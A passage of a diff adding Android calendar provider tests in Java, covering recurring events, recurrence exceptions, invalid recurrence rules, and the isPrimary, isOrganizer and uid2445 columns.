+ * of encountering non-test recurring events. (Ideally we would select events associated
+ * with a specific calendar.) With dates well in the past, it's also important to have a
+ * fixed maximum count or end date; otherwise, if the metadata min/max instance values are
+ * large enough, the recurrence recalculation processor could get triggered on an insert or
+ * update and bump up against the 2000-instance limit.
+ *
+ * TODO: need some allDay tests
+ */
+ @MediumTest
+ public void testRecurrence() {
+ String account = "re_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "2003-08-05T09:00:00", "PT1H",
+ "FREQ=WEEKLY;INTERVAL=2;COUNT=4;BYDAY=TU,SU;WKST=SU");
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+ //Log.d(TAG, "+++ basic recurrence eventId is " + eventId);
+
+ // Check to see if we have the expected number of instances
+ String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+ int instanceCount = getInstanceCount(timeZone, "2003-08-05T00:00:00",
+ "2003-08-31T11:59:59", new long[] { calendarId });
+ if (false) {
+ Cursor instances = getInstances(timeZone, "2003-08-05T00:00:00", "2003-08-31T11:59:59",
+ new String[] { Instances.BEGIN }, new long[] { calendarId });
+ dumpInstances(instances, timeZone, "initial");
+ instances.close();
+ }
+ assertEquals("recurrence instance count", 4, instanceCount);
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests conversion of a regular event to a recurring event.
+ */
+ @MediumTest
+ public void testConversionToRecurring() {
+ String account = "reconv_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar and event
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ ContentValues eventValues = EventHelper
+ .getNewEventValues(account, seed++, calendarId, true);
+ long eventId = createAndVerifyEvent(account, seed, calendarId, true, eventValues);
+
+ long dtstart = eventValues.getAsLong(Events.DTSTART);
+ long dtend = eventValues.getAsLong(Events.DTEND);
+ long durationSecs = (dtend - dtstart) / 1000;
+
+ ContentValues updateValues = new ContentValues();
+ updateValues.put(Events.RRULE, "FREQ=WEEKLY"); // recurs forever
+ updateValues.put(Events.DURATION, "P" + durationSecs + "S");
+ updateValues.putNull(Events.DTEND);
+
+ // Issue update; do it as app instead of sync adapter to exercise that path.
+ updateAndVerifyEvent(account, calendarId, eventId, false, updateValues);
+
+ // Make sure LAST_DATE got nulled out by our infinitely repeating sequence.
+ Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+ Cursor c = mContentResolver.query(eventUri, new String[] { Events.LAST_DATE },
+ null, null, null);
+ assertEquals(1, c.getCount());
+ assertTrue(c.moveToFirst());
+ assertNull(c.getString(0));
+ c.close();
+
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests creation of a recurring event with single-instance exceptions.
+ */
+ @MediumTest
+ public void testSingleRecurrenceExceptions() {
+ String account = "rex_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event.
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "1999-03-28T09:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=100");
+ long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+ // Add some attendees and reminders.
+ addAttendees(account, eventId, seed);
+ addReminders(account, eventId, seed);
+
+ // Select a period that gives us 5 instances. We don't want this to straddle a DST
+ // transition, because we expect the startMinute field to be the same for all
+ // instances, and it's stored as minutes since midnight in the device's time zone.
+ // Things won't be consistent if the event and the device have different ideas about DST.
+ String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+ String testStart = "1999-07-02T00:00:00";
+ String testEnd = "1999-08-04T23:59:59";
+ String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.END_MINUTE };
+
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "initial");
+ }
+
+ assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+ /*
+ * Advance the start time of a few instances, and verify.
+ */
+
+ // Leave first instance alone.
+ instances.moveToPosition(1);
+
+ long startMillis;
+ ContentValues excepValues;
+
+ // Advance the start time of the 2nd instance.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+ long excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ // Advance the start time of the 3rd instance.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DTSTART, startMillis + 3600*1000*2);
+ long excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ // Cancel the 4th instance.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.STATUS, Events.STATUS_CANCELED);
+ long excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ // TODO: try to modify a non-existent instance.
+
+ instances.close();
+
+ // TODO: compare Reminders, Attendees, ExtendedProperties on one of the exception events
+
+ // Re-query the instances and figure out if they look right.
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "with DTSTART exceptions");
+ }
+ assertEquals("exceptional recurrence instance count", 4, instances.getCount());
+
+ long prevMinute = -1;
+ while (instances.moveToNext()) {
+ // expect the start times for each entry to be different from the previous entry
+ long startMinute = instances.getLong(1);
+ assertTrue("instance start times are different", startMinute != prevMinute);
+
+ prevMinute = startMinute;
+ }
+ instances.close();
+
+
+ // Delete all of our exceptions, and verify.
+ int deleteCount = 0;
+ deleteCount += deleteException(account, eventId, excepEventId2);
+ deleteCount += deleteException(account, eventId, excepEventId3);
+ deleteCount += deleteException(account, eventId, excepEventId4);
+ assertEquals("events deleted", 3, deleteCount);
+
+ // Re-query the instances and figure out if they look right.
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "post exception deletion");
+ }
+ assertEquals("post-exception deletion instance count", 5, instances.getCount());
+
+ prevMinute = -1;
+ while (instances.moveToNext()) {
+ // expect the start times for each entry to be the same
+ long startMinute = instances.getLong(1);
+ if (prevMinute != -1) {
+ assertEquals("instance start times are the same", startMinute, prevMinute);
+ }
+ prevMinute = startMinute;
+ }
+ instances.close();
+
+ /*
+ * Repeat the test, this time modifying DURATION.
+ */
+
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "initial");
+ }
+
+ assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+ // Leave first instance alone.
+ instances.moveToPosition(1);
+
+ // Advance the end time of the 2nd instance.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DURATION, "P" + 3600*2 + "S");
+ excepEventId2 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ // Advance the end time of the 3rd instance, and change the self-attendee status.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DURATION, "P" + 3600*3 + "S");
+ excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+ excepEventId3 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ // Advance the start time of the 4th instance, which will also advance the end time.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+ excepEventId4 = createAndVerifyException(account, eventId, excepValues, true);
+ instances.moveToNext();
+
+ instances.close();
+
+ // TODO: make sure the selfAttendeeStatus change took
+
+ // Re-query the instances and figure out if they look right.
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "with DURATION exceptions");
+ }
+ assertEquals("exceptional recurrence instance count", 5, instances.getCount());
+
+ prevMinute = -1;
+ while (instances.moveToNext()) {
+ // expect the start times for each entry to be different from the previous entry
+ long endMinute = instances.getLong(2);
+ assertTrue("instance end times are different", endMinute != prevMinute);
+
+ prevMinute = endMinute;
+ }
+ instances.close();
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests creation of a simple recurrence exception when not pretending to be the sync
+ * adapter. One significant consequence is that we don't set the _sync_id field in the
+ * events, which affects how the provider correlates recurrences and exceptions.
+ */
+ @MediumTest
+ public void testNonAdapterRecurrenceExceptions() {
+ String account = "rena_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Generate recurring event, with "asSyncAdapter" set to false.
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, false, "1991-02-03T12:00:00", "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
+
+ // Select a period that gives us 3 instances.
+ String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+ String testStart = "1991-02-03T00:00:00";
+ String testEnd = "1991-02-05T23:59:59";
+ String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+
+ // Expand the bounds of the instances table so we expand future events as they are added.
+ expandInstanceRange(account, calendarId, testStart, testEnd, timeZone);
+
+ // Create the event in the database.
+ long eventId = createAndVerifyEvent(account, seed++, calendarId, false, eventValues);
+ assertTrue(eventId >= 0);
+
+ // Add some attendees.
+ addAttendees(account, eventId, seed);
+
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "initial");
+ }
+ assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+ /*
+ * Alter the attendee status of the second event. This should cause the instances to
+ * be updated, replacing the previous 2nd instance with the exception instance. If the
+ * code is broken we'll see four instances (because the original instance didn't get
+ * removed) or one instance (because the code correctly deleted all related events but
+ * couldn't correlate the exception with its original recurrence).
+ */
+
+ // Leave first instance alone.
+ instances.moveToPosition(1);
+
+ long startMillis;
+ ContentValues excepValues;
+
+ // Advance the start time of the 2nd instance.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.SELF_ATTENDEE_STATUS, Attendees.ATTENDEE_STATUS_DECLINED);
+ long excepEventId2 = createAndVerifyException(account, eventId, excepValues, false);
+ instances.moveToNext();
+
+ instances.close();
+
+ // Re-query the instances and figure out if they look right.
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "with exceptions");
+ }
+
+ // TODO: this test currently fails due to limitations in the provider
+ //assertEquals("exceptional recurrence instance count", 3, instances.getCount());
+
+ instances.close();
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests insertion of event exceptions before and after a recurring event is created.
+ * <p>
+ * The server may send exceptions down before the event they refer to, so the provider
+ * fills in the originalId of previously-existing exceptions when a recurring event is
+ * inserted. Make sure that works.
+ * <p>
+ * The _sync_id column is only unique with a given calendar. We create events with
+ * identical originalSyncId values in two different calendars to verify that the provider
+ * doesn't update unrelated events.
+ * <p>
+ * We can't use the /exception URI, because that only works if the events are created
+ * in order.
+ */
+ @MediumTest
+ public void testOutOfOrderRecurrenceExceptions() {
+ String account1 = "roid1_account";
+ String account2 = "roid2_account";
+ String startWhen = "1987-08-09T12:00:00";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account1);
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account2);
+
+ // Create calendars
+ long calendarId1 = createAndVerifyCalendar(account1, seed++, null);
+ long calendarId2 = createAndVerifyCalendar(account2, seed++, null);
+
+
+ // Generate base event.
+ ContentValues recurEventValues = EventHelper.getNewRecurringEventValues(account1, seed++,
+ calendarId1, true, startWhen, "PT1H", "FREQ=DAILY;WKST=SU;COUNT=10");
+
+ // Select a period that gives us 3 instances.
+ String timeZone = recurEventValues.getAsString(Events.EVENT_TIMEZONE);
+ String testStart = "1987-08-09T00:00:00";
+ String testEnd = "1987-08-11T23:59:59";
+ String[] projection = { Instances.BEGIN, Instances.START_MINUTE, Instances.EVENT_ID };
+
+ /*
+ * We're interested in exploring what the instance expansion code does with the events
+ * as they arrive. It won't do anything at event-creation time unless the instance
+ * range already covers the interesting set of dates, so we need to create and remove
+ * an instance in the same time frame beforehand.
+ */
+ expandInstanceRange(account1, calendarId1, testStart, testEnd, timeZone);
+
+ /*
+ * Instances table should be expanded. Do the test.
+ */
+
+ final String MAGIC_SYNC_ID = "MagicSyncId";
+ recurEventValues.put(Events._SYNC_ID, MAGIC_SYNC_ID);
+
+ // Generate exceptions from base, removing the generated _sync_id and setting the
+ // base event's _sync_id as originalSyncId.
+ ContentValues beforeExcepValues, afterExcepValues, unrelatedExcepValues;
+ beforeExcepValues = new ContentValues(recurEventValues);
+ afterExcepValues = new ContentValues(recurEventValues);
+ unrelatedExcepValues = new ContentValues(recurEventValues);
+ beforeExcepValues.remove(Events._SYNC_ID);
+ afterExcepValues.remove(Events._SYNC_ID);
+ unrelatedExcepValues.remove(Events._SYNC_ID);
+ beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+ afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+ unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+
+ // Disassociate the "unrelated" exception by moving it to the other calendar.
+ unrelatedExcepValues.put(Events.CALENDAR_ID, calendarId2);
+
+ // We shift the start time by half an hour, and use the same _sync_id.
+ final long ONE_DAY_MILLIS = 24 * 60 * 60 * 1000;
+ final long ONE_HOUR_MILLIS = 60 * 60 * 1000;
+ final long HALF_HOUR_MILLIS = 30 * 60 * 1000;
+ long dtstartMillis = recurEventValues.getAsLong(Events.DTSTART) + ONE_DAY_MILLIS;
+ beforeExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+ beforeExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+ beforeExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+ beforeExcepValues.remove(Events.DURATION);
+ beforeExcepValues.remove(Events.RRULE);
+ beforeExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+ dtstartMillis += ONE_DAY_MILLIS;
+ afterExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+ afterExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+ afterExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+ afterExcepValues.remove(Events.DURATION);
+ afterExcepValues.remove(Events.RRULE);
+ afterExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+ dtstartMillis += ONE_DAY_MILLIS;
+ unrelatedExcepValues.put(Events.ORIGINAL_INSTANCE_TIME, dtstartMillis);
+ unrelatedExcepValues.put(Events.DTSTART, dtstartMillis + HALF_HOUR_MILLIS);
+ unrelatedExcepValues.put(Events.DTEND, dtstartMillis + ONE_HOUR_MILLIS);
+ unrelatedExcepValues.remove(Events.DURATION);
+ unrelatedExcepValues.remove(Events.RRULE);
+ unrelatedExcepValues.put(Events.ORIGINAL_SYNC_ID, MAGIC_SYNC_ID);
+
+
+ // Create "before" and "unrelated" exceptions.
+ long beforeEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+ beforeExcepValues);
+ assertTrue(beforeEventId >= 0);
+ long unrelatedEventId = createAndVerifyEvent(account2, seed, calendarId2, true,
+ unrelatedExcepValues);
+ assertTrue(unrelatedEventId >= 0);
+
+ // Create recurring event.
+ long recurEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+ recurEventValues);
+ assertTrue(recurEventId >= 0);
+
+ // Create "after" exception.
+ long afterEventId = createAndVerifyEvent(account1, seed, calendarId1, true,
+ afterExcepValues);
+ assertTrue(afterEventId >= 0);
+
+ if (Log.isLoggable(TAG, Log.DEBUG)) {
+ Log.d(TAG, "before=" + beforeEventId + ", unrel=" + unrelatedEventId +
+ ", recur=" + recurEventId + ", after=" + afterEventId);
+ }
+
+ // Check to see how many instances we get. If the recurrence and the exception don't
+ // get paired up correctly, we'll see too many instances.
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId1, calendarId2 });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "with exception");
+ }
+
+ assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+ instances.close();
+
+
+ /*
+ * Now we want to verify that:
+ * - "before" and "after" have an originalId equal to our recurEventId
+ * - "unrelated" has no originalId
+ */
+ Cursor c = null;
+ try {
+ final String[] PROJECTION = new String[] { Events.ORIGINAL_ID };
+ Uri eventUri;
+ Long originalId;
+
+ eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, beforeEventId);
+ c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToNext();
+ originalId = c.getLong(0);
+ assertNotNull(originalId);
+ assertEquals(recurEventId, (long) originalId);
+ c.close();
+
+ eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, afterEventId);
+ c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToNext();
+ originalId = c.getLong(0);
+ assertNotNull(originalId);
+ assertEquals(recurEventId, (long) originalId);
+ c.close();
+
+ eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, unrelatedEventId);
+ c = mContentResolver.query(eventUri, PROJECTION, null, null, null);
+ assertEquals(1, c.getCount());
+ c.moveToNext();
+ assertNull(c.getString(0));
+ c.close();
+
+ c = null;
+ } finally {
+ if (c != null) {
+ c.close();
+ }
+ }
+
+ // delete the calendars
+ removeAndVerifyCalendar(account1, calendarId1);
+ removeAndVerifyCalendar(account2, calendarId2);
+ }
+
+ /**
+ * Tests exceptions that modify all future instances of a recurring event.
+ */
+ @MediumTest
+ public void testForwardRecurrenceExceptions() {
+ String account = "refx_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "1999-01-01T06:00:00", "PT1H", "FREQ=WEEKLY;WKST=SU;COUNT=10");
+ long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+ // Add some attendees and reminders.
+ addAttendees(account, eventId, seed++);
+ addReminders(account, eventId, seed++);
+
+ // Get some instances.
+ String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+ String testStart = "1999-01-01T00:00:00";
+ String testEnd = "1999-01-29T23:59:59";
+ String[] projection = { Instances.BEGIN, Instances.START_MINUTE };
+
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "initial");
+ }
+
+ assertEquals("initial recurrence instance count", 5, instances.getCount());
+
+ // Modify starting from 3rd instance.
+ instances.moveToPosition(2);
+
+ long startMillis;
+ ContentValues excepValues;
+
+ // Replace with a new recurrence rule. We move the start time an hour later, and cap
+ // it at two instances.
+ startMillis = instances.getLong(0);
+ excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.DTSTART, startMillis + 3600*1000);
+ excepValues.put(Events.RRULE, "FREQ=WEEKLY;COUNT=2;WKST=SU");
+ long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
+ instances.close();
+
+
+ // Check to see if it took.
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "with new rule");
+ }
+
+ assertEquals("count with exception", 4, instances.getCount());
+
+ long prevMinute = -1;
+ for (int i = 0; i < 4; i++) {
+ long startMinute;
+ instances.moveToNext();
+ switch (i) {
+ case 0:
+ startMinute = instances.getLong(1);
+ break;
+ case 1:
+ case 3:
+ startMinute = instances.getLong(1);
+ assertEquals("first/last pairs match", prevMinute, startMinute);
+ break;
+ case 2:
+ startMinute = instances.getLong(1);
+ assertFalse("first two != last two", prevMinute == startMinute);
+ break;
+ default:
+ fail();
+ startMinute = -1; // make compiler happy
+ break;
+ }
+
+ prevMinute = startMinute;
+ }
+ instances.close();
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests exceptions that modify all instances of a recurring event. This is not really an
+ * exception, since it won't create a new event, but supporting it allows us to use the
+ * exception URI without having to determine whether the "start from here" instance is the
+ * very first instance.
+ */
+ @MediumTest
+ public void testFullRecurrenceUpdate() {
+ String account = "ref_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event
+ String rrule = "FREQ=DAILY;WKST=MO;COUNT=100";
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+ long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+ //Log.i(TAG, "+++ eventId is " + eventId);
+
+ // Get some instances.
+ String timeZone = eventValues.getAsString(Events.EVENT_TIMEZONE);
+ String testStart = "1997-08-01T00:00:00";
+ String testEnd = "1997-08-31T23:59:59";
+ String[] projection = { Instances.BEGIN, Instances.EVENT_LOCATION };
+ String newLocation = "NEW!";
+
+ Cursor instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ if (DEBUG_RECURRENCE) {
+ dumpInstances(instances, timeZone, "initial");
+ }
+
+ assertEquals("initial recurrence instance count", 3, instances.getCount());
+
+ instances.moveToFirst();
+ long startMillis = instances.getLong(0);
+ ContentValues excepValues = EventHelper.getNewExceptionValues(startMillis);
+ excepValues.put(Events.RRULE, rrule); // identifies this as an "all future events" excep
+ excepValues.put(Events.EVENT_LOCATION, newLocation);
+ long excepEventId = createAndVerifyException(account, eventId, excepValues, true);
+ instances.close();
+
+ // Check results.
+ assertEquals("full update does not create new ID", eventId, excepEventId);
+
+ instances = getInstances(timeZone, testStart, testEnd, projection,
+ new long[] { calendarId });
+ assertEquals("post-update instance count", 3, instances.getCount());
+ while (instances.moveToNext()) {
+ assertEquals("new location", newLocation, instances.getString(1));
+ }
+ instances.close();
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ @MediumTest
+ public void testMultiRuleRecurrence() {
+ String account = "multirule_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event
+ String rrule = "FREQ=DAILY;WKST=MO;COUNT=5\nFREQ=WEEKLY;WKST=SU;COUNT=5";
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+ long eventId = createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+
+ // TODO: once multi-rule RRULEs are fully supported, verify that they work
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Issue bad requests and expect them to get rejected.
+ */
+ @MediumTest
+ public void testBadRequests() {
+ String account = "neg_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ // Create calendar
+ long calendarId = createAndVerifyCalendar(account, seed++, null);
+
+ // Create recurring event
+ String rrule = "FREQ=OFTEN;WKST=MO";
+ ContentValues eventValues = EventHelper.getNewRecurringEventValues(account, seed++,
+ calendarId, true, "1997-08-29T02:14:00", "PT1H", rrule);
+ try {
+ createAndVerifyEvent(account, seed++, calendarId, true, eventValues);
+ fail("Bad recurrence rule should have been rejected");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ // delete the calendar
+ removeAndVerifyCalendar(account, calendarId);
+ }
+
+ /**
+ * Tests correct behavior of Calendars.isPrimary column
+ */
+ @MediumTest
+ public void testCalendarIsPrimary() {
+ String account = "ec_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ int isPrimary;
+ Cursor cursor;
+ ContentValues values = new ContentValues();
+
+ final long calendarId = createAndVerifyCalendar(account, seed++, null);
+ final Uri uri = ContentUris.withAppendedId(Calendars.CONTENT_URI, calendarId);
+
+ // verify when ownerAccount != account_name && isPrimary IS NULL
+ cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+ cursor.moveToFirst();
+ isPrimary = cursor.getInt(0);
+ cursor.close();
+ assertEquals("isPrimary should be 0 if ownerAccount != account_name", 0, isPrimary);
+
+ // verify when ownerAccount == account_name && isPrimary IS NULL
+ values.clear();
+ values.put(Calendars.OWNER_ACCOUNT, account);
+ mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+ cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+ cursor.moveToFirst();
+ isPrimary = cursor.getInt(0);
+ cursor.close();
+ assertEquals("isPrimary should be 1 if ownerAccount == account_name", 1, isPrimary);
+
+ // verify isPrimary IS NOT NULL
+ values.clear();
+ values.put(Calendars.IS_PRIMARY, SOME_ARBITRARY_INT);
+ mContentResolver.update(uri, values, null, null);
+ cursor = mContentResolver.query(uri, new String[]{Calendars.IS_PRIMARY}, null, null, null);
+ cursor.moveToFirst();
+ isPrimary = cursor.getInt(0);
+ cursor.close();
+ assertEquals("isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isPrimary);
+
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ }
+
+ /**
+ * Tests correct behavior of Events.isOrganizer column
+ */
+ @MediumTest
+ public void testEventsIsOrganizer() {
+ String account = "ec_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ int isOrganizer;
+ Cursor cursor;
+ ContentValues values = new ContentValues();
+
+ final long calendarId = createAndVerifyCalendar(account, seed++, null);
+ final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
+ final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+ // verify when ownerAccount != organizer && isOrganizer IS NULL
+ cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+ cursor.moveToFirst();
+ isOrganizer = cursor.getInt(0);
+ cursor.close();
+ assertEquals("isOrganizer should be 0 if ownerAccount != organizer", 0, isOrganizer);
+
+ // verify when ownerAccount == account_name && isOrganizer IS NULL
+ values.clear();
+ values.put(Events.ORGANIZER, CalendarHelper.generateCalendarOwnerEmail(account));
+ mContentResolver.update(asSyncAdapter(uri, account, CTS_TEST_TYPE), values, null, null);
+ cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+ cursor.moveToFirst();
+ isOrganizer = cursor.getInt(0);
+ cursor.close();
+ assertEquals("isOrganizer should be 1 if ownerAccount == organizer", 1, isOrganizer);
+
+ // verify isOrganizer IS NOT NULL
+ values.clear();
+ values.put(Events.IS_ORGANIZER, SOME_ARBITRARY_INT);
+ mContentResolver.update(uri, values, null, null);
+ cursor = mContentResolver.query(uri, new String[]{Events.IS_ORGANIZER}, null, null, null);
+ cursor.moveToFirst();
+ isOrganizer = cursor.getInt(0);
+ cursor.close();
+ assertEquals(
+ "isPrimary should be the value it was set to", SOME_ARBITRARY_INT, isOrganizer);
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+ }
+
+ /**
+ * Tests correct behavior of Events.uid2445 column
+ */
+ @MediumTest
+ public void testEventsUid2445() {
+ String account = "ec_account";
+ int seed = 0;
+
+ // Clean up just in case
+ CalendarHelper.deleteCalendarByAccount(mContentResolver, account);
+
+ final String uid = "uid_123";
+ Cursor cursor;
+ ContentValues values = new ContentValues();
+ final long calendarId = createAndVerifyCalendar(account, seed++, null);
+ final long eventId = createAndVerifyEvent(account, seed, calendarId, true, null);
+ final Uri uri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
+
+ // Verify default is null
+ cursor = mContentResolver.query(uri, new String[] {Events.UID_2445}, null, null, null);
+ cursor.moveToFirst();
+ assertTrue(cursor.isNull(0));
+ cursor.close();
+
+ // Write column value and read back
+ values.clear();
+ values.put(Events.UID_2445, uid);
